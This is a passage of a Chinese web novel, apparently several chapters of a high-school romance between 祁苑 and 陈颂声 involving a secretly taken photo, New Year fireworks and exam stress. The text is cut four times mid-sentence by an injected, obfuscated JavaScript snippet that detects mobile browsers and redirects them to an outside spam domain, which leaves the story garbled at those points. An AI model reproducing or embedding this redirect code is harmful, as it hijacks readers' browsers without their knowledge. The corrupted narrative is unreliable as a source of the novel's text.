他们撑着伞在天桥上走,眼看着雨点打湿了他肩头的那片衣衫,祁苑出手抓住伞柄往他那边歪了歪。 她记得,他们重逢时,也是像今天这样的一个暴雨天。 他们紧紧靠在一起走了两步,伞在不知不觉中又偏向了她,她出声:“这么大的雨,为什么不多带把伞?” 陈颂声没办法道:“这个还是我临时跟同学借的,实在多不出来。” “其实你不用来的。”祁苑小声说道。 有水顺着伞滑下来,陈颂声用宽大的手掌护住她伞沿下的肩膀,“嗯”了一声,说:“我这不是来救驾吗。” “其实我是……” “我刚刚……” 两个人同时开口,相互对望了一眼,这是他们第一次这么近距离的看对方,陈颂声把到嘴边的话咽了回去:“你说。” 祁苑有些说不出口:“我刚刚是游戏输了,才跟你说那些话的。” 陈颂声倒没有失落,语气轻快道:“我还不了解你吗?早就猜到了。其实我是从教室的窗户那儿看见你在操场没带伞,才说要来找你的,你不需要有心理负担。” “真的?” “骗你是小狗。” 陈颂声把祁苑送到了教学楼的廊檐下,然后他说他还要去实验楼接同学,就先走了。 祁苑弯腰抓起裤腿拧了一道,像拧湿毛巾似的溅了一地的水。 赵书琳一声不吭地从楼梯后面蹦出来,大力地抓了祁苑的肩膀,把她吓了一跳。 “学长真去找你啦!” 祁苑放下裤腿,拍了两下:“不是,他知道在玩游戏,是看下雨了才过去接我的。” “小左呢?”她问。 “回教室了,看上去不大开心。” 赵书琳撇撇嘴,说完后,警惕地看了看四周,把手搭在她的肩上,神神秘秘道:“你觉不觉得,左楠喜欢学长啊?” 祁苑把她的手抖开:“才发现?” 赵书琳又跳起来:“你早就看出来了?上回,就我们出去玩那次,她前一秒跟我说一点儿也不饿,学长来了以后她说饿了想吃饭,然后你猜怎么着,她拉着我们去了你们吃的那家餐厅。” “那我怎么没看见你们?” “她选的座位靠里面,而且有好几片竹帘挡着,吃饭的时候她还朝你们那边看。哦对了,你们刚走,她背着包说要去上厕所,大概过了十分钟才回来,不知道干嘛去了。” 祁苑对此感到很诧异,不理解她这种多此一举的行为。 赵书琳:“你知道她干什么去了吗?” 祁苑摇头:“我不知道,没看到她。” 上课的时候,赵书琳会偶尔地回头看左楠,而左楠一直用手撑着头,挡住了左半边脸,像在回避这边。 祁苑忙着听课,没有顾她。 傍晚放学打扫卫生,祁苑去倒垃圾,发现垃圾桶最上面覆了很多纸屑碎片,凭那颗完好的爱心她认出这是左楠写的那封情书,中午还没有的,现在却被撕了个粉碎。 这几天左楠的话变少了,赵书琳去和她说话时也总是爱理不搭。 祁苑本就不喜欢热脸贴冷屁股,原先关系也没有多好,既然维持不下去了,那也没有必要接着上赶着去。 她正好能全身心地去准备期中考。 成绩出来那天,祁苑去领陈扬给他们周末安排的试卷,碰巧陈颂声去送东西,她一进去就看见父子俩在聊天,很快他们一起离开了办公室。 夜里刚下过雨,地面积有泥水,她的视线被怀里抱着的试卷给挡住了,鞋带散了没发现,自己踩了一脚险些绊倒,陈颂声扶了她一把。 他下意识地弯腰。 他们正走在学校的中心广场,来来往往的学生不少,他想了想,说:“我帮你拿。” 祁苑将试卷交给他,蹲下身将鞋带绑紧:“给我吧。” 她把试卷抱回手里,两个人一起走回了教学楼。 “左楠,老师喊你发历史作业。” 一个男生从旁边接完热水,捧着保温杯走到讲台边上对着门口说。 祁苑回头,左楠手里提着小卖部的袋子,紧跟在她后面进了教室,她没有在意,走上讲台开始分发试卷,赵书琳跑过来把她拽到教室后面,指着墙上:“你这次历史全班第一,总分的年级排名还挺靠前的。” 祁苑还没有意识到问题的严重性。 有个男生也在看成绩表,无意间说了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447573|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句:“历史之前无论大考还是测验,都是课代表分最高的。” 排名贴出来那会儿祁苑去了办公室。左楠才离开座位,还没走到后面,就听到其他人围在成绩单附近议论:“祁苑历史第一诶,之前都是左楠来着。” 又听见有人在报前五的名次:“这次的前五名大换血啊!孟西月,顾随空,祁苑,李星,赵娜。” 没有她的名字,她从第二掉出了前五。 左楠握紧了拳头,踢开脚边的椅子气冲冲地出去了。 她买完东西出来,就撞见两个人在前面,一个抱着试卷,一个在蹲着系鞋带,一路上有说有笑。 祁苑扫了眼排名,每个人的名字旁边都有红色和绿色的箭头标注,数字代表的则是他们这次上升或下降的名次。 祁苑的旁边用绿色箭头标着“1”。 再看左楠,名字旁边用鲜明的红色箭头标着“6”。 一个月的时间,第二跌到第八,下降了整整六名。 晚间,祁苑出了学校,发现张录在那儿等着她。 祁苑:“找我有什么事吗?” “小苑,数学册子借我看看呗,我问陈哥要,他说你数学好,让我找你。”张录不好意思地挠挠头说。 祁苑打开书包,把册子给了他,不可思议道:“你也开始用功了?” “嘿嘿,谢了!明早我让陈哥带给你。”张录骑上自行车,哼着小曲儿渐行渐远。 “张录在哪所学校?”她到了地方,向陈颂声问起。 “仁和路百货大楼对面那个,”他咬下一口面包,“见到他了?” “嗯。” 正值深秋,不冷不热的时节,陈颂声坐在草坪上吹着风。 祁苑放下书包到他身边坐下,听着湖边的芦苇丛被风吹动,发出沙沙的声响,一方景色和晚霞相映衬着。 “吹吹风也挺不错的。”陈颂声一只手向后撑着身体,微微倾斜着坐在那儿,此刻的声音里多了份惬意。 “舒服是舒服,虫子也不少。”祁苑面对美景,不由地沉浸其中,感觉有什么东西飞进了眼睛里,她使劲儿揉了揉,还是睁不开。 陈颂声过去把她的手拿开,说道:“别动,我看看。” 眼睛都被揉红了,他一只手上去扒开后,很仔细地贴近吹了吹。 祁苑眨眨眼,感觉没那么难受了,她轻轻地拍了拍他的手臂:“好了。” 陈颂声停下,须臾之间,四目相对。 温热的气息喷在对方的脸上,开始隐隐发烫,两人发觉似乎挨的太近了,迅速弹开。 “……” “谢谢。” 哪怕祁苑很清楚这两个字陈颂声听得耳朵快起茧子了,但是,于此刻来说,她也只能想出这句话。 陈颂声坐回原位,忽觉心跳有些过快,开始疯狂眨眼睛:“不客气。” 祁苑摸了摸胳膊,犹豫着说道:“有点儿冷,咱进屋吧?” “好。” 陈颂声在快要进去的那一刻,有预感般地朝公园的方向望去。 只见一道人影闪过。 12. 半生 许是天黑看走了眼吧,陈颂声这样想着。 祁苑拔开笔盖,写起了化学作业。 陈颂声看她那边摆了一桌子的作业,问道:“英语呢?” 祁苑嘟嘟囔囔了半天,来了一句:“英语最后写。” 陈颂声觉得有道理,他把拿出来的数学作业压到了最底下,写起了语文。 总归是要写的,能拖一会儿是一会儿。 他每天晚上费尽心思帮她补英语,回家以后还要被他爸拖去书房补数学,挨两句骂还好,要是给陈扬气狠不管他了,他就只能望着看不懂的数学题发呆。 “唉……真是命苦啊,这辈子居然栽在数学的手里。” 祁苑听陈颂声说了一路,她愣是一个字也插不进去。 次日,学校里可谓是闹翻了天,校园的表白墙账号在凌晨五点零六分,发布了一张匿名的聊天截图。 下面有几千条留言。 【家人们,现在是晚上十一点半,就在一个小时前,我回学校拿落下的作业,你们猜我看到了什么?我看到一对情侣在综合楼十楼跳楼自杀,警察消防都在,我走的时候救护车也来了,据说自杀原因是恋情遭到双方家长反对。】 这段话下面配了一张现场的照片。 照片上,深夜的校园,综合楼周围拉起了警戒线,学校领导在和警察交涉,楼前空地有一滩格外刺眼的血迹。 学生们早读课一结束就围在一起,聊的热火朝天。 “我的妈呀,这算是殉情吗?” “太吓人了,就因为父母不同意他们谈恋爱,连命都不要了?” 不止他们一个班,学校里不管走到哪儿,都能听到有人在说这件事,就连他们早上从学校大门进来,门口的保安都在说这个事。 “这些孩子怎么就想不开呢?” “是啊,年纪轻轻就……” 学生围在一起谈论的太过起劲,上课铃响了都不知道,早上第一节是数学课,陈扬夹着书神不知鬼不觉地出现在了后门。 “整层楼就你们吵的最厉害,这里到底是教室还是菜市场啊?” 声音如雷贯耳,学生就跟见了阎王似的一窝蜂散了。 他走上讲台,神色凝重道:“同学们,在正式上课前,先听我说几句。你们现在是高中生,眼下最主要的任务是学习,谈恋爱这件事,我建议你们慎重。” “思想政治课你们初中也上了,像你们现在正处于情窦初开的年纪,很容易对异性产生好感,但那种好感不一定就是爱情,你们要学会区分。” “肯定会有这样的同学,信誓旦旦地说自己就是遇到了爱情,如果你们的心性不够坚定,我劝你们最好不要。都不是小孩子了,再过一两年就成年了吧,你们要学会判断是非。” 说完这些,底下鸦雀无声。 陈扬翻开书,对着书脊压了压,扶了下眼镜说道:“昨晚的事想必大家都听说了。但传言终究是传言,为了不让这件事情再继续发酵下去,经过学校商议,决定由我们各班班主任将事件的原委告知给大家。” 接下来的二十分钟里,陈扬将早上开会所获得的信息传递了下去。 昨晚的跳楼事件中,由于一些因素,男生当场死亡,女生受伤。 这两名学生都是高三的,品学兼优。 男生是学生会主席,女生是广播站站长,但家庭条件都很困难,且男生身患疾病,家里还有位残疾的母亲。 在各方面带来的巨大压迫之下,他们相约一起爬上了综合楼十楼。 据现场的目击者说,两个人在跳下去后能看出是有一刻后悔的,可是太晚了。 陈扬沉重说道:“生命只有一次,希望大家能够好好地爱自己。好了,这个话题到此为止,我们上课。” 课后,赵书琳惋惜道:“可惜了,那么优秀的两个人。” “祁苑。” 陈扬出现在窗户口,示意她过去。 她看陈扬脸色不大好,有种不好的预感。 祁苑跟着进了办公室,里面还有其他老师在,陈扬摘下眼镜,先是耐心地问了她一个问题,让她摸不着头脑:“小苑,你最近晚上放学都是和颂声在一起的吧?” “是的,他帮我补英语。” 祁苑如实回答,而且这些陈扬不是都知道的吗? 陈颂声不是他带的学生,这会儿在上课,他不方便去问,只好来找祁苑,他放低了音量。 “你们俩……是不是在谈?” 这个问题像一颗手榴弹抛向了她,一下子炸得她面目全非。 她不明白陈扬问这个问题的用意,只能摇头否认:“没有。” 陈扬也不想的,早上那节课上完以后,他真的害怕极了,在了解真实情况之前,生怕自己哪句话问得不妥当刺激到她:“好,你先别急,你说没有我当然信,但是吧……” 他话锋突然一转,祁苑也跟着紧张起来。 视线跟随着他的手,陈扬拿起了桌上的手机,打开了Q.Q,最上面一条是一个陌生人给他发来两张照片。 照片几乎是一样的,他点开其中一张,让祁苑来看。 她上前两步,把脑袋凑了过去。 这片芦苇丛! 这个背影! 是她自己? 不光有她,旁边那个是陈颂声。 陈扬指着照片里的他们,有些为难地问道:“你们这是在干什么?” 干什么? 照片里,祁苑端端正正的坐在那里。 陈颂声挨着祁苑的那只手撑在地上,微微侧着身体,他面朝着祁苑被挡住了,只露出了脖子,完全看不到脸。 这个错位,很像是在…… 此时此刻的她非常理解陈扬看到照片的心情,他第一次点开的时候,心情应该十分炸裂吧。 就像她现在这样。 拍这张照片的人挺会找角度的,她该庆幸是发给了陈扬,要是换成其他人看到照片,就是给她八百张嘴她也解释不清。 画面带来的冲击力太大,她离远了些,说道:“那天有虫子飞眼睛里了,然后他给我吹了一下。” “好,我知道了,”陈扬点点头,“这件事交给我来处理,你安心回去上课。” 祁苑:“好的,谢谢老师。” 等办公室的门关上,陈扬思来想去还是翻开微信,把照片发了过去。 八分钟后。 微信里备注为“傻小子”的联系人回复了一条:【???】 紧跟着又来一条: 【偷拍我?谁那么猥琐?】 陈扬回道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447574|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【没什么要解释的?】 “傻小子”回了一条新消息: 【没什么好解释的。】 陈扬:??? 什么叫没什么好解释的? 【什么意思?】 消息就如同石沉大海,没有了回声。 好小子!陈扬把手机丢进抽屉,心想着回去再收拾他。 祁苑进门后,余光瞥见了左楠,她今天倒是心情不错。 赵书琳:“老陈喊你去干嘛?” “问了点学习方面的事。”她淡淡说道。 手机打开,是陈颂声发来的消息。 【我爸喊我回去谈点事,你放学自己先回去吧,路上注意安全。】 【到家跟我说一声。】 二十四小时不到,发生这么多事,陈扬在客厅等候多时了。 “回来了?” 陈颂声把包甩进了房间里,直接过去问道:“爸,那照片怎么回事?” 陈扬不乐意了:“你问我?我还想问你呢,说!那照片上是怎么回事?” 质问的结果就是,陈颂声和祁苑说了一模一样的话。 陈扬放心地重新靠回到沙发上,心里那颗大石头落下了。 宋歌坐在桌子边上择菜,说道:“你们应该查清楚照片到底是谁拍的,这明显是故意挑事,要么针对你,要么针对小苑。” 还好照片没有传的到处都是,要真到那时候,恐怕是没法儿收场了。 宋歌说:“就你们学校昨晚那事儿,外界已经有不少人知道了,昨夜里发生的,这才过多久?谣言就是这样,口口相传,越传越离谱。” 陈颂声回房间之前留下一句:“偷拍就算了,角度也是够刁钻的。” 他往包里掏课本,看到英语笔记,一个想法在他脑海里一闪而过。 他去了客厅,道:“爸,这个人,或许祁苑知道是谁。” “嗯?”见他如此笃定,陈扬也决定等明天再找祁苑聊聊。 这件事情上,祁苑和他想到一块儿去了。 趁着下课上厕所的功夫,祁苑找到左楠,把她带到了楼道里:“是你吧。” 她还在装傻:“什么是我?” “照片,是你发给陈老师的吧。” “我听不懂你在说什么。”左楠抬脚就要走。 祁苑不紧不慢道:“拿Q.Q发照片,还匿名,你真以为自己做的滴水不漏吗?现在是互联网时代,什么查不到?” 左楠把头转向一边:“是我又怎么样?比起你的虚伪,我不觉得我做的哪里过分。” 祁苑感觉有一口飞天而来的锅砸到了她的头上:“我,虚伪?” “你跟我说你和他没关系,我才决定追他的,结果你还跟他那么亲密。还有我写给他的情书也被送回来了。” 祁苑忍不住打断她:“你被冲昏头了吗?他怕当面拒绝你会让你难堪,才把情书还给你的,这是你们之间的事,你写了什么,他又写了什么,我没必要知道啊。何况我告诉过你我们从小就认识,如果他接受了你,不用你提醒,我也会和他保持距离。我问你,你和他现在是什么关系?他接受你了吗?” 左楠低头不语。 “既然你们没有关系,那你是站在什么身份和立场上来指责我说我虚伪?” 13. 半生 左楠承认那天放学后偷偷跟着她去了喷泉公园,看到他们俩坐在那儿,本来心里就不大痛快,再加上角度问题,这才有了那张照片。 她接下来的话让祁苑冒了一身冷汗。 “我本来是打算发校园墙的,哪想到学校出了那个事,我一害怕就没敢发。” 左楠是怕事情要是真的闹大了,万一她想不开,那就麻烦了,于是匿名发给了班主任,想借此看她出丑。 既不会把事情闹大,心里也能解气。 左楠气不过:“不麻烦你,我自己去找老师坦白。” 她撞开祁苑,下楼往办公室去。 上课时,陈扬以左楠成绩下降为由,撤掉了她的历史课代表,所有人纷纷转头看她,她深深地把头埋了下去,眼泪大颗大颗地滴在了书上。 事情全部结束后,祁苑在学校里的生活再次归于平静。 时间快得很,一年又走到头了。 除夕的晚上,灯火喧嚣,祁苑在家和祁昌阳一起吃过晚饭后,跑到阳台等烟花。 祁昌阳在客厅和谁打着电话,门铃被按响了,他过去开门一看,陈颂声穿着深咖色大衣站在门口,手里提着礼盒:“叔叔新年快乐!” 祁昌阳接过礼物放到一边,笑着说:“小声新年快乐,来找小苑的?” “对。” “小苑,小声来找你了。”他隔着一间屋子对阳台喊道。 祁苑端着板凳回到客厅,看到门口的人,开心说道:“新年快乐。” “嗯,新年快乐。” 祁苑穿了件厚外套,跟着陈颂声出去了。 他们漫步在庭风江边,那粼粼的水中仿佛是另一个世界,那里也有万家灯火,在夜晚盈盈生光。 庭风江上有一个大型的烟花燃放平台,每年除夕夜都会在这里进行烟花表演,持续整整一个小时,陪着人们完成新一年的过渡。 距离烟花燃放还有近两个小时,庭风江畔已汇聚了不少的人,或家人于旁,或爱人在侧。 陈颂声:“好久没走过这条路了。” 祁苑拨开挡住眼睛的碎发,说道:“我也是。” 陈颂声:“怎么可能?你不是一直住这儿?” 祁苑换了个方式回答他:“如果不是你来找我,今晚我也不会出来啊。” 她不喜热闹,因为于她而言,在外面没有家人的热闹,不过是无止的喧嚣,似乎也没有多大的意义,倒不如在屋子里安安静静地等着跨年。 两个人的家虽说冷清,却也是家。 正如她所说,他不找她,她就不会在除夕夜出门。 她会选择吃完年夜饭,在阳台上静坐几个小时,等着美丽的烟花遍布夜空,期待新一年的到来。 祁苑手扶着栏杆,小心地沿着那条边缘走着直线,这附近的人越聚越多,不过几分钟便挤的水泄不通,陈颂声抓住了她的手往前走,说道:“我们去那边。” 祁苑没反应过来,任由他抓着手走。 这儿平时就是人群扎堆的地方,本地人居多,也不乏从外地来此旅游的,他们到云港来看什么呢? 自然是享有“楚风过境”之名的庭风江,以及今夜的烟花之美。 陈颂声说:“别松手啊,你要是跟丢了我上哪儿找去。” 祁苑虽未言语,却握紧了抓她的手。 他们贴在围栏边上,四周皆是人,进也不是退也不是。 现在他们唯一可以做的,就是静等。 大厦楼身的钟表显示,离十一点半还有最后一分钟。 江心的燃放平台已经准备就绪。 一分钟后,平台连接湖面的灯光乍然亮起,一枚烟花窜入了云霄,那一刻就像是对夜空撒下了彩色的织网,逐渐消散后,化作繁星点点坠入水中。 各种大型烟花接连在半空炸开,是如此的绚烂夺目,映照在每个人的脸上,充满了幸福与喜悦。 新年就要来了。 “十,九,八,七,六,五,四,三,二,一!” 随着人们的齐声倒数,为迎接新年的巨型烟花被点燃,刹那间,照亮了云港这座城市的上空。 人们被眼前所见震撼,逐渐躁动起来。 前几年,她都是透过那几扇方方正正的玻璃窗来看烟花,终究是不及在烟花之下来的真切。 即便是结束了,也如大梦一般,让她久久不舍离去。 凌晨一点,街道上行人渐少,庭风江的江水侍风而动,带来一丝凛冬的寒意。 他们坐在江边,身后偶尔响起的汽车鸣笛声,在寂静的深夜显得格格不入。 等过完年,陈颂声就要闭关备考了,最后四个月至关重要,按照他父母的作风,可能会收走他的手机,正常情况下他们应该是见不了几面了。 “英语的话你自己争点气,等我考完试再帮你补。”陈颂声交代道。 别的事她都可以答应,唯独这个英语……她只能说尽力而为,到底能不能争气,还得看老天给不给她机会。 祁苑抱膝拨弄着脚边的石子,漫不经心地应了声“嗯”。 高三开学时间要早的多,祁苑还在忙着干兼职,陈颂声已经坐在教室里苦战题海了。 就算在学校里也是几乎看不到他,祁苑感觉回到了从前,他没回云港的时候,无论去哪儿都只有她一个人的时候。 仔细算的话,区别还是有的,因为她现在至少每天都能见到他的爸爸,总是一脸严肃地在讲台上讲题目。 她忍住没有去打扰,没有向陈扬过问他的近况。 四月二十五号这天,是他的生日,她知道他的手机上交了,还是给他发了消息。 【生日快乐。】 【礼物已备好,等你出关。】 五天后,祁苑在学校见到了他。 他是陪同学出来买东西的,在小卖部的货柜转角碰见了她。 陈颂声先笑了:“不认识我了?” 并非是不认识。 祁苑看着他,总觉得哪里不太对,似乎不是她记忆中的陈颂声了。 记忆中的他,阳光开朗,每天都很开心。 那双眼睛,永远都是明亮动人的。 可是眼前的人,哪怕是在笑,哪怕眼睛里依然有光,却仍旧透着藏不住的疲倦。 她盯着他:“你怎么看着那么憔悴?” 陈颂声强颜欢笑道:“你见过哪个高三生精气神那么足?” 祁苑还想说话,他问她道:“我的生日礼物呢?” “啊?” 他轻笑一声:“把我的生日给忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447575|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” 祁苑逗他:“我每天那么忙,哪儿想的起来?” “你才高一,忙什么?”他无奈道。 “忙着学英语啊。”她耸耸肩。 好吧,他竟无言以对。 他像个小孩子似的不依不饶道:“我不管,我要礼物。” “好了,后天带给你,”祁苑还是不放心,“你真的没事吗?” 陈颂声揉了揉她的头:“都成年人了,能有什么事儿?” 祁苑翻白眼,也就才成年几天而已。 …… 事实证明,她的担心是对的。 他们约了上午在操场见面,她带着准备好的礼物去了。 祁苑先把礼物放到了不起眼的地方,跟着队伍做完早操就在操场等着,她怕陈颂声过来了找不到她,等学生走光了以后,她就坐在天桥的最后一层台阶上。 二十分钟一分一秒的过去了,她没有等到他。 或许太忙了,抽不开身,她想。 还有两分钟要上课了,她起身拎着装礼物的袋子回去了。 整整一天,对方杳无音讯。 下午放学,她无精打采地走着,宋歌给她打来电话。 “阿姨。”她喊道。 对面传来低沉的声音:“是我。” “陈颂声?” 对方嗓子有些沙哑:“抱歉,早上那会儿我被老师叫去帮忙整理复习资料,没来得及告诉你,让你白等了那么长时间。” 祁苑:“是吗?” 实际上,她回去后很不安,后来去了一趟他的班级,和他一起吃过烧烤的男生认出了她,告诉她说:“陈哥请了病假,昨儿上午就没来了。” 生病就生病,为什么要骗她呢…… “都请病假了,你们老师还让你去整理资料?”她深吸了一口气说道。 陈颂声显然没想到她会去找他,支支吾吾了半天:“你……我……小感冒而已,就是怕你担心才……” 祁苑:“要不我现在把礼物给你送过去,顺便看看你?”。 陈颂声一听,立马慌了:“千万别,你来了我怕传染给你,我爸妈他们现在都不敢进我房间。” “那你好好休息。” 快一天了,才打电话过来,说是小感冒她一点儿也不信。 放下电话时,她已经走到陈颂声家楼下了,适时,陈扬下楼扔垃圾,看见她还愣了几分,知道她是来看陈颂声的,便带她上楼了。 祁苑:“叔叔,他怎么了?” “这小子读书读魔怔了,前天夜里把自己关房间里做题,烧到三十九度六,拖到医院的时候人差点烧昏过去。” 陈扬既生气又心疼,他摇头道:“回云港之后,小声就像是转了性子。” 进了屋,那边卫生间的门被打开,陈颂声走了出来,他看到祁苑,狠狠一怔。 陈扬骂道:“小苑来看你了,都这么大人了还这么不让人省心!” 祁苑面无表情地把袋子放在茶几上:“生日礼物。” 见她这个样子,陈颂声不敢上前,更加不敢贸然开口说话。 陈扬和宋歌见气氛不对,虽然不知道具体原因,但还是很识趣地回了房间。 祁苑终究问出了口:“为什么呀?” 14. 半生 “什么?” “为什么这么拼了命的学?”她完整地问了一遍。 因为祁苑不能理解,他的成绩也不算差,只要正常发挥,一本肯定是稳的,哪里需要这样往死里学。 他轻飘飘地说:“以前不用功,现在着急想补回来呗。” 祁苑只当他是在开玩笑,于是也开玩笑问他:“要照你这么学,你是要奔着清华北大去了?” “那你高看我了。” 祁苑问他:“打算考去哪儿?” 他不紧不慢地喝了口茶,润了润嗓子说道:“我这个人恋旧,所以哪儿也不去,就在云港。” 云港市目前有两所大学,都是重本,其中医科大学往年的理科分数线基本都在六百二十分左右,而理工大学的话相对要低一点。 所以他是想…… “云医大?” 她也只是猜测,可这种感觉很强烈。 “嗯。” 祁苑愣在原地。 她以前不是没有问过他。 其实也是好几些年以前的事了,那时他们聊起将来想要考哪所大学,陈颂声说的第一句话就是,这辈子打死也不学医。 “认真的?”她不确定地又问了一遍。 他一本正经地回答:“认真的。” 她得到这个回答确实很惊讶。 “我记得某人不是说,这辈子打死也不学医吗?” 陈颂声摇头晃脑地说:“那会儿年纪小,目光短浅,现在想通了。” 考场上存在很多变数,不到最后一刻,哪里能确定自己一定有把握。 所以,他只有让自己学得再多一点,分数再高一点,至少心里能有个底。 祁苑:“什么时候想好的?” 看他一脸决然,祁苑只能祝他成功,她听到外面有飞机飞过上空的轰隆声,本能地朝窗外看去。 “刚回云港那几天。”他说。 话音刚落,飞机划过天空,在天上留下一道痕迹,她回头却发现陈颂声的目光一直停留在她的脸上,溢出一种别样的情绪。 突然撞上他的目光,祁苑到嘴边的话转眼忘的一干二净,画面定格了一般,只有时钟嘀嗒嘀嗒转动的声音。 陈颂声将视线抽走,催促道:“快回去吧,再晚就不安全了。” 她恍神说道:“哦,好。你别熬夜了,早点休息。” “我知道了。”他笑着回应她。 他把茶几上被遗忘了许久的袋子拿到房间,打开后,里面是一个熊猫香薰,造型还挺别致,包装还没拆,就在隐隐约约地散发着香气。 几天后的晚上,陈颂声伏在桌前做题,许是身体刚恢复的缘故,他有些力不从心,写了一会儿头就开始疼了。 他放下手中的笔扶额歇了会儿,台灯下那只熊猫正咧着嘴巴冲他傻笑。 他看了几秒,笑出了声,先前的烦躁顿时烟消云散,他拿笔头敲了敲熊猫的头,打开香薰将它点上,飘出一股淡淡的竹香,这股香气萦绕在书桌周围。 题目做的差不多了,香薰也由雨后竹香转为茉莉的清香,他翻开另外一套试卷写了几题,眼睛不由自主地看向了那只一直傻乐的熊猫。 它抱着竹子,表情突然变了,陈颂声竟然看到熊猫在跟他说话:“又熬夜又熬夜!考什么医科大学,你干脆住医院得了!” 明明是熊猫,却发出了祁苑的声音,逼真的就仿佛贴在他耳边说的一样。 陈颂声一个激灵,熊猫仍在抱着竹笑。 他回想起祁苑临走时说:“你别熬夜了,早点休息。” 都开始出现幻觉了,看来他是该休息了。 他把熏香盖上盖子,放到了桌角,伸了个懒腰去床上躺下,鼻间还残留着那个味道,伴着他睡去。 与此同时。 祁苑点着灯在写英语,每晚都是如此。 手机定的闹钟响了,提醒她现在是凌晨三点钟了,该睡觉了,她打了个哈欠,把所有的书本和作业装回包里。 从前都是夜里一点多睡,自从决定补英语,两三点钟基本是常态。 她连自己都做不到,还跑去劝陈颂声不要熬夜,她随便想一想都觉得好笑。 那一面过后,他们再也没有见过。 高考的前一天晚上,陈颂声独自一个人坐在庭风江边,任凭风将他的头发吹得凌乱不堪,他也没有半点反应。 他只是,定定地望着远方。 这一夜,还有一个人同样辗转难眠。 祁苑躺在床上,思绪纷乱如麻,明天那场考试与她没有任何关系,她却如同即将上战场一样,比谁都紧张。 因为是他吗? 或者换句话说,与他有关的事情,她就这么在意吗? 祁苑拍拍自己的脸,把头蒙进了被子里,试图强行让自己放空大脑,却变得愈加难以入睡。 那几天,她失眠了。 紧张的考试结束后,陈颂声感受到了前所未有的轻松。 他最后望着书房的储藏间里堆了一地的书本和试卷,“砰”地一声关上了门,从今往后,这些东西和他再也没有任何关系了。 他拿到手机的第一件事是打开微信,上面的未读消息真不少,但他全然看不到其他人,划到最下面,是祁苑在四月二十五号发来的生日问候。 【生日快乐。】 【礼物已备好,等你出关。】 原来她记得自己的生日。 日期后面的时间让他看了很久,正好是凌晨零点,她是卡着点发来的。 在他不会回复她的情况下。 祁苑刚吃完饭回房,点开聊天框,见陈颂声给她发来两个字。 【收到。】 【你现在可以放松放松了。】 她回。 陈颂声还有一桩事儿没完成,他可不敢放松。 【晚上带着作业,老地方见。】 - 陈颂声的精气神简直不要太好,和上一次见他根本不是一个状态。 祁苑就不一样了,瞧着是挺好的,和平时没什么不同,但凡一打开书,或者作业本一翻开来,她的眼皮就开始打架,就差一头栽在作业上了。 “怎么我考试,你倒睡不着了?”陈颂声听说她失眠后,用手掌托起她的下巴,晃了晃她的脑袋。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447576|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祁苑哈欠连天,似乎头有十几斤重,无力地垂在那里。 陈颂声捏起她的脸蛋,拍拍她的背哄着说道:“实在困的话今天我们就不学了,陪我去外面坐坐,带你看样东西。” 太阳就要落山了,祁苑狠狠地掐了自己大腿一把,疼得她倒吸了口冷气,眉心连跳了好几下。 陈颂声拿出那样东西,是一本相册,年代久远了些,封面都褪色了,是宋歌昨天大扫除时在柜子底下翻出来的,沾的全是灰。 他把它放在祁苑的腿上,这回祁苑稍稍清醒了点。 翻开相册,映入眼帘的是两个小孩子,模样瞧着约莫两三岁,皆穿了一身花花绿绿的衣裳,裹得像个粽子似的。 一个脸蛋红红的,手里抓着比脸还大的棒棒糖;一个扎着俩小辫,骑在木马上,脸上还挂着泪珠。 “这是……我和你?”祁苑两眼一黑,差点没认出来,太有年代感了。 这本相册应当属于高清黑历史吧。 拉出来公开处刑吗? 往后面翻,按照模样推断,这会儿应该上小学了,他们穿着校服错开位置站在一片花圃当中。 还有很多,整本相册里全都是他们俩,没有其他人。 “太丑了。”祁苑一边翻一边说。 陈颂声偏过头问:“不困了?” “吓醒了。” 这么难看的照片,无论给谁看了都得吓一跳,何况是她本人呢?各种色彩带来的冲击让她此刻无比的清醒。 “你给我看这个,我倒无所谓,你就不怕它毁了你的形象?” “毁我形象?”陈颂声以为自己听见了什么,随即说道,“别人就算了,可貌似在你心里,我的形象没有好到哪儿去吧?” 差不多一年前,她说他丑,他记忆犹新。 